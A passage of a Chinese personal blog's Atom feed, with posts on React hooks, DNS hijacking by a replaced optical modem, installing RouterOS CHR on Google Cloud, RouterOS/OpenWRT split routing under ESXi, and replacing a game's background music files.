export default function App() {
    const [open, setOpen] = useState(false);

    ...

    setOpen(true);
    // setOpen(open =&gt; !open);

    ...
}
</code></pre>
<p>这两个元素我们可以随意命名，其中第一个元素就是我们需要的state，它的初始值是调用useState方法时传入的参数；</p>
<p>第二个元素是用来修改第一个元素值的方法，使用方法如上图;</p>
<p><code>useEffect</code>可以看作是将之前的几个不同生命周期合而为一的产物，它接受两个参数，第一个参数为函数，第二个参数为数组，当数组里的值发生变化时，它会执行传入的第一个函数。</p>
<p>具体使用方法可以看官网文档，我这里只写出我最常用的场景。</p>
<p>开局一条狗，装备全靠打！</p>
<p>咳咳走错片场了...</p>
<hr />
<p>在页面初始化时异步获取数据:</p>
<pre><code>import React, { useState, useEffect } from "React";
import http from "./tools";

export default function Home() {
    const [postList, setPostList] = useState([]);
    useEffect(() =&gt; {
        async function getPost() {
            const { data, status } = await http.get("https://example.com/api/post");
            if (status === 200) {
                setPostList(data);
            }
            ...
        };
        getPost();
    }, []);

    ...
}
</code></pre>
<p>如果只需要在组件第一次挂载时执行一次，而此后不需要再次执行，那么第二个参数为空数组即可。</p>
<blockquote>
<p>另外第一个参数不能是异步函数，只能将异步操作写成函数再调用。</p>
</blockquote>
<hr />
<p>切换城市时切换相应城市的天气：</p>
<pre><code>import React, { useState, useEffect } from "React";
import http from "./tools";

export default function App({cityList}) {
    const [weather, setWeather] = useState({});
    const [city, setCity] = useState('上海');

    function toggleCity({currentTarget}) {
        ...
        const { value } = currentTarget;
        if (...) {
            ...
            ...
            setCity(value);
        }
    }

    useEffect(() =&gt; {
        async function getWeather() {
            const { data, status } = http.get(`https://example.com/api/city=${city}`);
            if (status === 200) setWeather(data);
        };
        getWeather();
    }, [city]);

    return (
        &lt;div&gt;
            {
                cityList &amp;&amp; cityList.map((i, index) =&gt; 
                    &lt;button 
                        key={index}
                        value={i}
                        onClick={toggleCity}
                    &gt;
                        {i}
                    &lt;/button&gt;
                )
            }
            {
                Object.keys(city).length !== 0 
                &amp;&amp; 
                &lt;div&gt;
                    {
                        ...
                    }
                &lt;/div&gt;
            }
        &lt;/div&gt;
    );
}

</code></pre>
<h2>是抄袭吗</h2>
<p>没错了，是抄袭。</p>
<p>这个博客样式、布局完全抄袭自EYHN的<a href="https://huaji8.top">幻想贴</a>，不过代码什么的完全是我自己编写的，力图做到还原度100%。</p>
<p>之前用原生JS写的博客还原度只有90%的样子，细节方面还差的远。</p>
<p>这次使用React重写后，还原度个人感觉已经达到了97%，其他地方的细节有点棘手无从下手，待以后水平提高后再来完善吧。</p>
<h2>新功能</h2>
<p>在<a href="https://huaji8.top">幻想贴</a>基础上添加了以下功能：</p>
<pre><code>分页组件
标签组件
分类组件
全局快捷按钮组件
</code></pre>
<p>总感觉我的博客页面非常卡，有待后续优化，不过得等我功力大增之后了。</p>
]]></content>
        <author>
            <name>vhvy</name>
            <uri>https://vhvy.me/</uri>
        </author>
        <published>2019-08-08T21:37:00.000Z</published>
    </entry>
    <entry>
        <title type="html"><![CDATA[博客今天完工了]]></title>
        <id>https://vhvy.me/2019/06/14/%E5%8D%9A%E5%AE%A2%E4%BB%8A%E5%A4%A9%E5%AE%8C%E5%B7%A5%E4%BA%86/</id>
        <link href="https://vhvy.me/2019/06/14/%E5%8D%9A%E5%AE%A2%E4%BB%8A%E5%A4%A9%E5%AE%8C%E5%B7%A5%E4%BA%86/"/>
        <updated>2019-06-14T10:21:00.000Z</updated>
        <summary type="html"><![CDATA[文章断断续续写了几年，一直停留在硬盘里，并没有建立博客并上传。写了又删，删了又写，虽然都是些没营养的话题。这次终于下定决心写一个博客出来，一...]]></summary>
        <content type="html"><![CDATA[<p>文章断断续续写了几年，一直停留在硬盘里，并没有建立博客并上传。</p>
<p>写了又删，删了又写，虽然都是些没营养的话题。</p>
<p>这次终于下定决心写一个博客出来，一是为了能分享一点点自己的经验出来，二是为了练习做前端项目的经验。</p>
<p>一直很喜欢谷歌的MD风格，于是就打算仿照我钟意的博客<a href="https://huaji8.top">幻想贴</a>来写一个博客。</p>
<p>刚开始抄袭，就看到<a href="https://github.com/EYHN">EYHN</a>放弃了这个博客转而使用另一个博客<a href="https://eyhn.in">eyhn.in</a>，emmmmmm。。。</p>
]]></content>
        <author>
            <name>vhvy</name>
            <uri>https://vhvy.me/</uri>
        </author>
        <published>2019-06-14T10:21:00.000Z</published>
    </entry>
    <entry>
        <title type="html"><![CDATA[记录一次更换光猫后DNS被劫持导致的网络问题]]></title>
        <id>https://vhvy.me/2019/05/15/%E8%AE%B0%E5%BD%95%E4%B8%80%E6%AC%A1%E6%9B%B4%E6%8D%A2%E5%85%89%E7%8C%AB%E5%90%8EDNS%E8%A2%AB%E5%8A%AB%E6%8C%81%E5%AF%BC%E8%87%B4%E7%9A%84%E7%BD%91%E7%BB%9C%E9%97%AE%E9%A2%98/</id>
        <link href="https://vhvy.me/2019/05/15/%E8%AE%B0%E5%BD%95%E4%B8%80%E6%AC%A1%E6%9B%B4%E6%8D%A2%E5%85%89%E7%8C%AB%E5%90%8EDNS%E8%A2%AB%E5%8A%AB%E6%8C%81%E5%AF%BC%E8%87%B4%E7%9A%84%E7%BD%91%E7%BB%9C%E9%97%AE%E9%A2%98/"/>
        <updated>2019-05-15T17:31:00.000Z</updated>
        <summary type="html"><![CDATA[因为朋友加装了一条新的宽带，他又不想花200元购买电信的光猫，于是让电信施工人员留下注册用LOID以及宽带账号密码后就离开了，打算自购光猫进...]]></summary>
        <content type="html"><![CDATA[<p>因为朋友加装了一条新的宽带，他又不想花200元购买电信的光猫，于是让电信施工人员留下注册用LOID以及宽带账号密码后就离开了，打算自购光猫进行安装。</p>
<p>他在淘宝花了29元购买了一台二手友华PT632光猫，到货接上光猫填入LOID，显示配置下发失败，这个直接略过即可，因为我们这个地区不需要下发配置就可以注册上光猫。</p>
<p>接下来改为桥接模式，在路由器里设置了pppoe拨号后成功拨号，但是发现打开任何网页都会跳转到光猫的192.168.1.1地址，提醒配置下发失败，请重新注册。</p>
<p>然而此时路由器已经成功拨号，根本不需要它下发配置。打开任何网页会跳转到光猫页面，QQ可以使用，ip地址可以ping通，这显然是被光猫劫持了DNS。</p>
<p>经过几番调试后，确认此光猫和本地区八字不合，无法下发配置，成功拨号本可以正常使用却被光猫自作聪明的劫持DNS到设置页面。</p>
<p>随即下单了一台新的SA1456C，但是等待到货的这几天需要用网络，这该如何是好呢？仔细想来，虽然光猫劫持了DNS，但是对于IP访问是畅通无阻，这么说只要解决DNS劫持的问题就好了。</p>
<p>我在我的ROS路由器上架设了L2TP服务器，朋友家的ROS路由器拨入我的ROS路由器，服务器地址直接填写我的公网IP地址，这样就成功拨入。</p>
<p>然后在他的ROS路由器上做内网DNS劫持，将所有来自内网53端口的DNS请求经过VPN隧道全部转发到我的ROS路由器上来进行解析，这样就绕开了光猫的DNS劫持，暂时解决了朋友的网络问题。</p>
<p>几天后，SA1456C到货，直接是双模华为原厂界面，输入LOID之后路由器直接拨号成功了，也没有DNS劫持问题，但是在测速后发现300M的宽带只有30M的速率。</p>
<p>百度搜索几番后得知一部分EPON改造的G/E双模SA1456C光猫用在GPON网络上会出现速度很慢的问题，问过店家后得知这台1456C正是EPON改造的双模光猫，于是退货之~</p>
<p>朋友到这里也心累了，早知道直接花200元好了。 但是怎能半途而废呢？于是在淘宝下单了我的同款8321R光猫，等待几日到货后再次输入LOID，路由器拨号成功，无DNS劫持问题，SpeedTest测速也有330M的速率，朋友的网络问题终于告一段落。</p>
]]></content>
        <author>
            <name>vhvy</name>
            <uri>https://vhvy.me/</uri>
        </author>
        <published>2019-05-15T17:31:00.000Z</published>
    </entry>
    <entry>
        <title type="html"><![CDATA[在GCP(谷歌云)上安装RouterOS CHR版本]]></title>
        <id>https://vhvy.me/2018/12/20/%E5%9C%A8GCP(%E8%B0%B7%E6%AD%8C%E4%BA%91)%E4%B8%8A%E5%AE%89%E8%A3%85RouterOS%20CHR%E7%89%88%E6%9C%AC/</id>
        <link href="https://vhvy.me/2018/12/20/%E5%9C%A8GCP(%E8%B0%B7%E6%AD%8C%E4%BA%91)%E4%B8%8A%E5%AE%89%E8%A3%85RouterOS%20CHR%E7%89%88%E6%9C%AC/"/>
        <updated>2018-12-20T16:40:00.000Z</updated>
        <summary type="html"><![CDATA[前段时间就注意到了GCP送免费300刀的活动，想试一下在上面装RouterOS的CHR版本，于是就有了本文的诞生。注册GCP以及信用卡验证以...]]></summary>
        <content type="html"><![CDATA[<p>前段时间就注意到了GCP送免费300刀的活动，想试一下在上面装RouterOS的CHR版本，于是就有了本文的诞生。</p>
<p>注册GCP以及信用卡验证以及普通设置这些环节想必我就不用多说了，大家肯定都会的。</p>
<p>如果你使用的是Linux或者macOS之类的*nix系统，请直接往下拉。如果你使用的是Win10操作系统，请启用Win10的Linux子系统，即WSL，接下来的操作需要在shell环境进行操作；</p>
<p>如果使用macOS系统，请安装truncate和gnu-tar，可以使用brew安装。</p>
<pre><code>brew install gnu-tar
brew install truncate
</code></pre>
<p>本文参考自mikritik的<a href="https://wiki.mikrotik.com/wiki/Manual:CHR_GCE">wiki</a>。</p>
<p>首先打开mikritik的<a href="https://mikrotik.com/download">下载页面</a>，我们需要下载CHR的RAW格式镜像，如下图。</p>
<p><img src="https://s2.loli.net/2023/01/29/OUobJ5rNPlHsce7.jpg" alt="008iiGpDly1gt9bo21ssjj31rc0q4q8u" /></p>
<p>右键-复制链接地址，打开终端：</p>
<p><code>wget https://download2.mikrotik.com/routeros/6.43.7/chr-6.43.7.img.zip</code></p>
<p><img src="https://s2.loli.net/2023/01/29/Dq3IMQgeTCWRGUn.jpg" alt="008iiGpDly1gt9boflqxgj31760ziwwe" /></p>
<p>然后解压：</p>
<p><code>unzip chr-6.43.7.img.zip</code></p>
<p>由于谷歌云的限制，所以我们需要调整一下文件大小：</p>
<p>Linux或WSL直接使用如下命令：</p>
<p><code>truncate --size=1G chr-6.43.7.img</code></p>
<p>macOS使用如下命令：</p>
<p><code>truncate -s 1G chr-6.43.7.img</code></p>
<p>接下来转换成谷歌云需要的镜像格式：</p>
<p>Linux&amp;WSL:</p>
<pre><code>mv chr-6.43.7.img disk.raw
tar -Sczf chr-6.43.7.tar.gz disk.raw
</code></pre>
<p>macOS:</p>
<pre><code>mv chr-6.43.7.img disk.raw
gtar -Sczf chr-6.43.7.tar.gz disk.raw
</code></pre>
<p>macOS必须使用gtar进行打包，使用tar进行打包到后面100%报错。</p>
<p><img src="https://s2.loli.net/2023/01/29/dJiIgRZrmEn8eya.jpg" alt="008iiGpDly1gt9boqpfv7j31760zi7ho" /></p>
<p>至此镜像制作完毕，接下来在谷歌云的WEB界面进行操作。</p>
<p>打开<a href="console.cloud.google.com">谷歌云控制台</a>，点击左侧导航菜单-存储-存储-<a href="https://console.cloud.google.com/storage/browser">浏览器</a>，然后创建存储分区。</p>
<p><img src="https://s2.loli.net/2023/01/29/im4CvlV2zjDFoyN.jpg" alt="008iiGpDly1gt9bp1y6znj322814ojxr" /></p>
<p>接下来创建存储分区，名称随便起吧。</p>
<p><img src="https://s2.loli.net/2023/01/29/L5u3xfdqJQBzHXT.jpg" alt="008iiGpDly1gt9bpwuw6lj30v411yjz7" /></p>
<p>然后上传刚才打包好的镜像</p>
<p><img src="https://s2.loli.net/2023/01/29/WreVq5i8DIZH7Mp.jpg" alt="008iiGpDly1gt9bqm1lg1j32ja11ewl0" />
<img src="https://s2.loli.net/2023/01/29/bPOVqWUDdxaRzj7.jpg" alt="008iiGpDly1gt9bqzjf0kj31vw0ieq6e" /></p>
<p>接着点击左侧导航菜单-计算-Compute Engine-<a href="https://console.cloud.google.com/compute/images">映像</a></p>
<p><img src="https://s2.loli.net/2023/01/29/1a7JnXZT4xtEuvd.jpg" alt="008iiGpDly1gt9br7tqhuj31e40xg48b" /></p>
<p>点击创建映像，来源选择Cloud Storage，然后选择刚才上传的映像。</p>
<p><img src="https://s2.loli.net/2023/01/29/EOFLq9bSirhMg6s.jpg" alt="008iiGpDly1gt9brj34a8j318u17m7de" /></p>
<p>然后点击左侧导航菜单-计算-Compute Engine-<a href="https://console.cloud.google.com/compute/instances">VM实例</a>，选择创建实例。</p>
<p>区域我选择的台湾b区，机器类型用微型，并取消容器的勾选，然后更改启动磁盘为自定义映像，并选择刚才创建的映像，磁盘大小选择1G即可。</p>
<p>防火墙选择勾选允许HTTP和HTTPS流量。</p>
<p><img src="https://s2.loli.net/2023/01/29/CLWDIMeck9HR4AG.jpg" alt="008iiGpDly1gt9brtqpjcj31gc12otiv" /></p>
<p><img src="https://s2.loli.net/2023/01/29/FoOKqJT8n37WcZQ.jpg" alt="008iiGpDly1gt9bs2tjxjj30te17swig" /></p>
<p>稍等几十秒，实例即可创建完毕。</p>
<p><img src="https://s2.loli.net/2023/01/29/ZIK5LwiB2pmVXe4.jpg" alt="008iiGpDly1gt9bsamiudj31v40nuwgv" /></p>
<p>打开WinBox，连接外部ip，账户名admin，密码为空。</p>
<p>打开System-Users，创建一个Group为full的新用户并设置密码，然后删除admin账户。</p>
<p>然后打开IP-Services，关闭除了WinBox之外的所有服务。</p>
<p><img src="https://s2.loli.net/2023/01/29/VDacWUsHtKQe41o.jpg" alt="008iiGpDly1gt9bsjpkn5j311s0p211f" /></p>
<p><img src="https://s2.loli.net/2023/01/29/Oz8fgs3HxU1K9By.jpg" alt="008iiGpDly1gt9bsq07d2j30ou0i0dix" /></p>
<p>至此，RouterOS CHR创建完毕，不过此时的CHR的端口速率被限制在1M，可以在IP-License中点击Renew License中登陆Mikrotik的账户，级别选择P1，可以免费体验两个月的P1，即解除端口速率限制至1G，如果后续还需要继续使用，可以在万能的淘宝购买CHR P1许可证，大概160 RMB左右。</p>
<p><img src="https://s2.loli.net/2023/01/29/xeCas4opdygfFcY.jpg" alt="008iiGpDly1gt9bswcx2xj30q20fwjv9" /></p>
<p><img src="https://s2.loli.net/2023/01/29/XTCU6PDkutqLiEp.jpg" alt="008iiGpDly1gt9bt3y7q4j60li0ac0ux02" /></p>
]]></content>
        <author>
            <name>vhvy</name>
            <uri>https://vhvy.me/</uri>
        </author>
        <published>2018-12-20T16:40:00.000Z</published>
    </entry>
    <entry>
        <title type="html"><![CDATA[ESXI中运行RouterOS和openWRT]]></title>
        <id>https://vhvy.me/2018/11/09/ESXI%E4%B8%AD%E8%BF%90%E8%A1%8CRouterOS%E5%92%8CopenWRT/</id>
        <link href="https://vhvy.me/2018/11/09/ESXI%E4%B8%AD%E8%BF%90%E8%A1%8CRouterOS%E5%92%8CopenWRT/"/>
        <updated>2018-11-09T15:40:00.000Z</updated>
        <summary type="html"><![CDATA[平时搞一些前端项目时发现npm的速度非常慢，淘宝的cnpm又总是有些莫名其妙的问题，于是有了加速访问的想法。思路来自如下链接，感谢这位博主...]]></summary>
        <content type="html"><![CDATA[<p>平时搞一些前端项目时发现npm的速度非常慢，淘宝的cnpm又总是有些莫名其妙的问题，于是有了加速访问的想法。</p>
<p>思路来自如下链接，感谢这位博主。</p>
<p>https://www.willnet.net/index.php/archives/95/</p>
<p><img src="https://s2.loli.net/2023/01/29/aosYtPmqbxg7nRN.jpg" alt="008iiGpDly1gt9btwsmroj61tm0qnajo02" /></p>
<p>用RouterOS建立一个中国大陆IP段的Address Lists,然后用Mangle建立一个非大陆IP的Routing Mark，最后添加一条路由使访问非大陆IP的流量从部署了SSR的openWRT中出去。</p>
<p>说干就干，部署ESXI以及RouterOS CHR就不再赘述，想必诸位能看到这里，想必这些简单的东西肯定是会的。</p>
<p>首先要得到中国大陆IP段列表，可以去APNIC得到，具体指令如下：</p>
<p><code>curl 'http://ftp.apnic.net/apnic/stats/apnic/delegated-apnic-latest' | grep ipv4 | grep CN | awk -F\| '{ printf("%s/%d\n", $4, 32-log($5)/log(2)) }' &gt; chnroute.rsc</code></p>
<p>curl没进度的同学可以用浏览器直接打开上面的链接，然后直接Ctrl+A全选复制后放到一个文档里，例如1.txt，然后使用如下指令筛选出中国大陆IP。</p>
<p><code>cat 1.txt | grep ipv4 | grep CN | awk -F\| '{ printf("%s/%d\n", $4, 32-log($5)/log(2)) }' &gt; chnroute.rsc</code></p>
<p>然后用打开VSCode之类的编辑器打开chnroute.rsc，在第一行添加<code>/ip firewall address-list</code>，然后使用多行编辑功能在其他的所有行首添加<code>add list=cn-ip address=</code>，VSCode是单击第二行行首，然后拉到最后一行，按住ALT+Shift单击最后一行行首，即可选中所有行行首；建议在此之前直接复制<code>add list=cn-ip address=</code>，然后选中后直接粘贴即可。</p>
<p>最终效果如下：</p>
<p><img src="https://s2.loli.net/2023/01/29/IrTlAWxnOybB32o.jpg" alt="008iiGpDly1gt9buig2zwj312o1cl7wh" /></p>
<p>在此提供截至2018/11/09的中国大陆IP段列表，可以直接在RouterOS内导入。</p>
<p><a href="/data/file/chnroute.rsc">我是成品列表</a></p>
<p>接下来打开WinBox的File菜单，将chnroute.rsc拖入。</p>
<p>打开终端，导入列表。</p>
<p><code>import file-name=chnroute.rsc</code></p>
<p>另外保留地址也需要加入此列表，这里提供一下保留IP段的Address List.</p>
<p><a href="/data/file/route-list.rsc">我是保留IP列表</a></p>
<p><code>import file-name=route-list.rsc</code></p>
<p>在IP-Firewall-Address Lists中可看到导入的数据。</p>
<p><img src="https://s2.loli.net/2023/01/29/1EHJQ5NSy9aPf2g.jpg" alt="008iiGpDly1gt9bv3dnbvj61fz0nqguc02" /></p>
<p>接下来建立一个需要加速的内网设备ip列表，我并不需要让所有设备加速，防止它们无端的消耗流量。</p>
<p>如果你的内网设备较少或者直接让整个内网网段加速，那么可以跳过这一步，在下面建立非大陆IP的Routing Mark时，将代码中的<code>src-address-list=goG</code>改为你的内网网段，比如<code>src-address=192.168.1.1/24</code>。</p>
<p>建立需要加速的ip列表:</p>
<pre><code>  /ip firewall address-list
  add address=10.1.1.123 list=goG
  add address=10.1.1.124 list=goG
  ...
</code></pre>
<p>然后要建立一个非大陆IP的Routing Mark，指令如下：</p>
<pre><code>  /ip firewall manage
  add chain=prerouting src-address-list=goG dst-address-list=!cn-ip action=mark-routing new-routing-mark=goSSR passthrough=yes 

</code></pre>
<p>接下来调openwrt这边，我是用lean大佬的源码编译的x86固件，地址在这里：https://github.com/coolsnowwolf/lede</p>
<p>编译出来的固件我使用的是openwrt-x86-64-combined-squashfs.img，然后使用StarWind V2V Image Converter可以转为ESXI使用的vmdk文件，注意转换出来后是两个vmdk文件，将两个文件都上传到ESXI里后它们会自动合并为一块虚拟硬盘，届时在openwrt里添加这块硬盘就可以了。</p>
<p><img src="https://s2.loli.net/2023/01/29/qJraUg6nOBW518N.jpg" alt="008iiGpDly1gt9bvc4p5fj31c80hptpz" /></p>
<p>在ESXI中新建一个虚拟交换机，不要绑定物理网卡，接着以这个虚拟交换机为基础建立一个端口组，端口组VLAN ID为4095，将openwrt和ROS添加到这个端口组上。</p>
<p>然后主要是在这个新建的端口组上做文章，使用VLAN的方式单线复用，让openWRT和ROS可以进行通信，openWRT的WAN口VLAN ID为20，ip地址为192.168.99.2，对应的ROS IP地址为192.168.99.1；LAN口VLAN ID为10，IP地址为192.168.88.1，对应的ROS IP地址为192.168.88.2</p>
<p>启动openwrt，在控制台中输入<code>vim /etc/config/network</code>，修改LAN口的网卡eth0为eth0.10以及ip地址，并按照下图添加wan口;</p>
<p><img src="https://s2.loli.net/2023/01/29/UKraGzkXJA4gy2w.jpg" alt="008iiGpDly1gt9bvkjsdpj31cj0satfq" /></p>
<p>接下来给ROS添加VLAN并配上对应的ip地址，打开ROS终端：</p>
<p>ether3为openwrt对应的网卡，请自行替换。</p>
<pre><code>  /interface vlan
  add vlan-id=10 interface=ether3 name=opLAN
  add vlan-id=20 interface=ether3 name=opWAN
  /ip address
  add address=192.168.88.2/24 netmask=255.255.255.0 interface=opLAN
  add address=192.168.99.1/24 netmask=255.255.255.0 interface=opWAN
</code></pre>
<p>现在在浏览器中打开192.168.88.1，网络-DHCP/DNS-取消仅本地服务的勾选。</p>
<p><img src="https://s2.loli.net/2023/01/29/jMrvqJD3VSb5pKX.jpg" alt="008iiGpDly1gt9bvsbowhj31c511hdwe" /></p>
<p>然后将需要加速的设备的DNS请求转发给192.168.88.1</p>
<pre><code>  /ip firewall nat
  add chain=dstnat protocol=udp dst-port=53 src-address-list=goG action=dst-nat to-addresses=192.168.88.1 to-ports=53
</code></pre>
<p>或者直接修改全局DNS为192.168.88.1，</p>
<pre><code>  /ip dns
  set servers=192.168.88.1,119.29.29.29,114.114.114 allow-remote-requests=yes
  cache flush
  /ip dhcp-server network
  set 0 dns-server=192.168.88.1     //如果将ROS的DNS改为了192.168.88.1，这里可以使用你的ROS路由器IP。
</code></pre>
<blockquote>
<p>在这里我遇到一个问题，在ROS上重定向DNS请求后米家的设备便无法上网了，不知道是哪里的问题。所以我采用的是第一种方法，即建立一个需要加速的设备ip列表。</p>
</blockquote>
<p>接下来再添加路由表，使非大陆IP的流量从openWRT走。</p>
<pre><code>  /ip route
  add dst-address=0.0.0.0/0 gateway=192.168.88.1 routing-mark=goSSR
</code></pre>
<p>接下来，清空电脑DNS，打开命令行，<code>npm i express</code>，没错，就是这么爽快！再也不用忍受npm的龟速！</p>
]]></content>
        <author>
            <name>vhvy</name>
            <uri>https://vhvy.me/</uri>
        </author>
        <published>2018-11-09T15:40:00.000Z</published>
    </entry>
    <entry>
        <title type="html"><![CDATA[替换穿越火线九周年背景音乐为老版本经典背景音乐]]></title>
        <id>https://vhvy.me/2018/10/20/%E6%9B%BF%E6%8D%A2%E7%A9%BF%E8%B6%8A%E7%81%AB%E7%BA%BF%E4%B9%9D%E5%91%A8%E5%B9%B4%E8%83%8C%E6%99%AF%E9%9F%B3%E4%B9%90%E4%B8%BA%E8%80%81%E7%89%88%E6%9C%AC%E7%BB%8F%E5%85%B8%E8%83%8C%E6%99%AF%E9%9F%B3%E4%B9%90/</id>
        <link href="https://vhvy.me/2018/10/20/%E6%9B%BF%E6%8D%A2%E7%A9%BF%E8%B6%8A%E7%81%AB%E7%BA%BF%E4%B9%9D%E5%91%A8%E5%B9%B4%E8%83%8C%E6%99%AF%E9%9F%B3%E4%B9%90%E4%B8%BA%E8%80%81%E7%89%88%E6%9C%AC%E7%BB%8F%E5%85%B8%E8%83%8C%E6%99%AF%E9%9F%B3%E4%B9%90/"/>
        <updated>2018-10-20T18:25:00.000Z</updated>
        <summary type="html"><![CDATA[下载如下链接中压缩包，将其解压后的全部内容覆盖至CrossFire/rez/BGM/文件夹内即可； 由于新客户端取消了使用老版本BGM的选项...]]></summary>
        <content type="html"><![CDATA[<p>下载如下链接中压缩包，将其解压后的全部内容覆盖至CrossFire/rez/BGM/文件夹内即可；</p>
<p>由于新客户端取消了使用老版本BGM的选项，所以BGM有时候会错乱，无伤大雅。</p>
<p>再也不用听邓紫棋的嚎叫，虽然她唱的很不错，但是天天听人也会烦的；
<a href="/data/file/CrossFire-OldBGM.7z">点我点我</a></p>
<p><img src="https://s2.loli.net/2023/01/29/wbS4TcHvPGUlz1o.jpg" alt="008iiGpDly1gt9c1iveatj61hc0xc7hg02" /></p>
]]></content>
        <author>
            <name>vhvy</name>
            <uri>https://vhvy.me/</uri>
        </author>
        <published>2018-10-20T18:25:00.000Z</published>
    </entry>
</feed>